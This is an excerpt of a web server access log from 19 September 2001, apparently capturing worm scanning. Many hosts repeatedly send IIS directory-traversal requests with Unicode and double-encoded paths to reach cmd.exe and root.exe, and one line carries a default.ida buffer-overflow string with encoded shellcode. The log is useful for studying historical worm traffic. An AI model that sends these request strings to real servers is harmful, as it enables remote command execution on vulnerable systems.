  9649. 20010919 08:39:25: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9650. 20010919 08:39:25: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9651. 20010919 08:39:25: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9652. 20010919 08:39:25:  [128.163.107.84] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  9653. 20010919 08:40:06:  [128.163.107.84] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  9654. 20010919 08:40:24:  [128.163.107.84] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9655. 20010919 08:40:43:  [128.163.107.84] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9656. 20010919 08:41:01:  [128.163.107.84] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9657. 20010919 08:41:19:  [128.163.107.84] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9658. 20010919 08:41:38:  [128.163.107.84] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9659. 20010919 08:41:56:  [128.163.107.84] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9660. 20010919 08:42:14:  [128.163.107.84] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9661. 20010919 08:42:33:  [128.163.107.84] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9662. 20010919 08:42:51:  [128.163.107.84] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9663. 20010919 08:43:09:  [128.163.107.84] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9664. 20010919 08:43:27:  [128.163.107.84] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9665. 20010919 08:43:46:  [128.163.107.84] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9666. 20010919 08:44:04:  [128.163.107.84] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9667. 20010919 08:44:23:  [128.163.107.84] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9668. 20010919 08:44:44: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  9669. 20010919 08:46:49: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  9670. 20010919 08:46:49: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9671. 20010919 08:46:50: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9672. 20010919 08:46:50: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9673. 20010919 08:46:50: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9674. 20010919 08:46:50: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9675. 20010919 08:46:50: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9676. 20010919 08:46:50: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9677. 20010919 08:46:50: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9678. 20010919 08:46:50: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9679. 20010919 08:46:50: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9680. 20010919 08:46:50: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9681. 20010919 08:46:50: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9682. 20010919 08:46:50: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9683. 20010919 08:46:50: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9684. 20010919 08:46:51: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  9685. 20010919 08:47:09: themelis2.hksm.columbia.edu [128.59.236.73] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  9686. 20010919 08:47:09: themelis2.hksm.columbia.edu [128.59.236.73] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9687. 20010919 08:47:09: themelis2.hksm.columbia.edu [128.59.236.73] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9688. 20010919 08:47:09: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9689. 20010919 08:47:09: themelis2.hksm.columbia.edu [128.59.236.73] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9690. 20010919 08:47:09: themelis2.hksm.columbia.edu [128.59.236.73] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9691. 20010919 08:47:09: themelis2.hksm.columbia.edu [128.59.236.73] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9692. 20010919 08:47:09: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9693. 20010919 08:47:09: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9694. 20010919 08:47:09: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9695. 20010919 08:47:09: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9696. 20010919 08:47:10: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9697. 20010919 08:47:10: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9698. 20010919 08:47:10: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9699. 20010919 08:47:10: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9700. 20010919 08:47:10: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  9701. 20010919 08:48:20: borenti2.law.columbia.edu [128.59.176.142] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  9702. 20010919 08:48:20: borenti2.law.columbia.edu [128.59.176.142] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9703. 20010919 08:48:20: borenti2.law.columbia.edu [128.59.176.142] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9704. 20010919 08:48:20: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9705. 20010919 08:48:20: borenti2.law.columbia.edu [128.59.176.142] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9706. 20010919 08:48:20: borenti2.law.columbia.edu [128.59.176.142] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9707. 20010919 08:48:20: borenti2.law.columbia.edu [128.59.176.142] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9708. 20010919 08:48:20: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9709. 20010919 08:48:21: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9710. 20010919 08:48:21: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9711. 20010919 08:48:21: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9712. 20010919 08:48:21: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9713. 20010919 08:48:21: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9714. 20010919 08:48:21: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9715. 20010919 08:48:21: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9716. 20010919 08:48:21: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  9717. 20010919 08:52:46: sql-server.jrn.columbia.edu [128.59.96.106] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  9718. 20010919 08:52:46: sql-server.jrn.columbia.edu [128.59.96.106] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9719. 20010919 08:52:46: sql-server.jrn.columbia.edu [128.59.96.106] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9720. 20010919 08:52:46: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9721. 20010919 08:52:46: sql-server.jrn.columbia.edu [128.59.96.106] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9722. 20010919 08:52:46: sql-server.jrn.columbia.edu [128.59.96.106] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9723. 20010919 08:52:46: sql-server.jrn.columbia.edu [128.59.96.106] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9724. 20010919 08:52:46: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9725. 20010919 08:52:46: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9726. 20010919 08:52:46: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9727. 20010919 08:52:46: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9728. 20010919 08:52:47: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9729. 20010919 08:52:47: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9730. 20010919 08:52:47: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9731. 20010919 08:52:47: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9732. 20010919 08:52:47: olooney.cviog.uga.edu [128.192.30.206] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  9733. 20010919 08:53:00: olooney.cviog.uga.edu [128.192.30.206] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  9734. 20010919 08:53:00: olooney.cviog.uga.edu [128.192.30.206] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9735. 20010919 08:53:00: olooney.cviog.uga.edu [128.192.30.206] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9736. 20010919 08:53:00: olooney.cviog.uga.edu [128.192.30.206] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9737. 20010919 08:53:00: olooney.cviog.uga.edu [128.192.30.206] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9738. 20010919 08:53:00: olooney.cviog.uga.edu [128.192.30.206] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9739. 20010919 08:53:01: olooney.cviog.uga.edu [128.192.30.206] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9740. 20010919 08:53:01: olooney.cviog.uga.edu [128.192.30.206] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9741. 20010919 08:53:01: olooney.cviog.uga.edu [128.192.30.206] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9742. 20010919 08:53:01: olooney.cviog.uga.edu [128.192.30.206] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9743. 20010919 08:53:01: olooney.cviog.uga.edu [128.192.30.206] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9744. 20010919 08:53:01: olooney.cviog.uga.edu [128.192.30.206] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9745. 20010919 08:53:02: olooney.cviog.uga.edu [128.192.30.206] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9746. 20010919 08:53:02: olooney.cviog.uga.edu [128.192.30.206] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9747. 20010919 08:53:02: olooney.cviog.uga.edu [128.192.30.206] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9748. 20010919 08:53:02: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  9749. 20010919 08:57:01: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  9750. 20010919 08:57:01: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9751. 20010919 08:57:02: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9752. 20010919 08:57:03: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9753. 20010919 08:57:03: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9754. 20010919 08:57:03: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9755. 20010919 08:57:03: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9756. 20010919 08:57:04: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9757. 20010919 08:57:04: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9758. 20010919 08:57:04: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9759. 20010919 08:57:04: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9760. 20010919 08:57:04: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9761. 20010919 08:57:04: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9762. 20010919 08:57:04: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9763. 20010919 08:57:04: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9764. 20010919 08:57:04:  [209.10.27.139] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  9765. 20010919 09:00:40: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  9766. 20010919 09:00:41: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  9767. 20010919 09:00:42: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9768. 20010919 09:00:42: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9769. 20010919 09:00:42: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9770. 20010919 09:00:42: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9771. 20010919 09:00:42: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9772. 20010919 09:00:42: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9773. 20010919 09:00:43: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9774. 20010919 09:00:43: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9775. 20010919 09:00:44: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9776. 20010919 09:00:44: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9777. 20010919 09:00:44: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9778. 20010919 09:00:44: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9779. 20010919 09:00:44: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9780. 20010919 09:00:44: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9781. 20010919 09:00:44: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  9782. 20010919 09:02:41: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  9783. 20010919 09:02:41: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9784. 20010919 09:02:42: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9785. 20010919 09:02:42: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9786. 20010919 09:02:43: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9787. 20010919 09:02:43: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9788. 20010919 09:02:43: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9789. 20010919 09:02:43: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9790. 20010919 09:02:43: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9791. 20010919 09:02:43: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9792. 20010919 09:02:43: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9793. 20010919 09:02:44: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9794. 20010919 09:02:44: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9795. 20010919 09:02:45: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9796. 20010919 09:02:46: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9797. 20010919 09:02:46: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  9798. 20010919 09:11:50: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  9799. 20010919 09:15:07: themelis2.hksm.columbia.edu [128.59.236.73] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  9800. 20010919 09:15:07: themelis2.hksm.columbia.edu [128.59.236.73] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9801. 20010919 09:15:07: themelis2.hksm.columbia.edu [128.59.236.73] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9802. 20010919 09:15:07: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9803. 20010919 09:15:07: themelis2.hksm.columbia.edu [128.59.236.73] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9804. 20010919 09:15:07: themelis2.hksm.columbia.edu [128.59.236.73] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9805. 20010919 09:15:07: themelis2.hksm.columbia.edu [128.59.236.73] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9806. 20010919 09:15:08: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9807. 20010919 09:15:08: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9808. 20010919 09:15:08: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9809. 20010919 09:15:08: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9810. 20010919 09:15:08: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9811. 20010919 09:15:08: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9812. 20010919 09:15:08: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9813. 20010919 09:15:08: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9814. 20010919 09:15:08: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  9815. 20010919 09:19:23: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  9816. 20010919 09:19:23: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9817. 20010919 09:19:25: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9818. 20010919 09:19:25: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9819. 20010919 09:19:25: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9820. 20010919 09:19:26: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9821. 20010919 09:19:26: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9822. 20010919 09:19:26: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9823. 20010919 09:19:26: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9824. 20010919 09:19:26: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9825. 20010919 09:19:27: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9826. 20010919 09:19:27: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
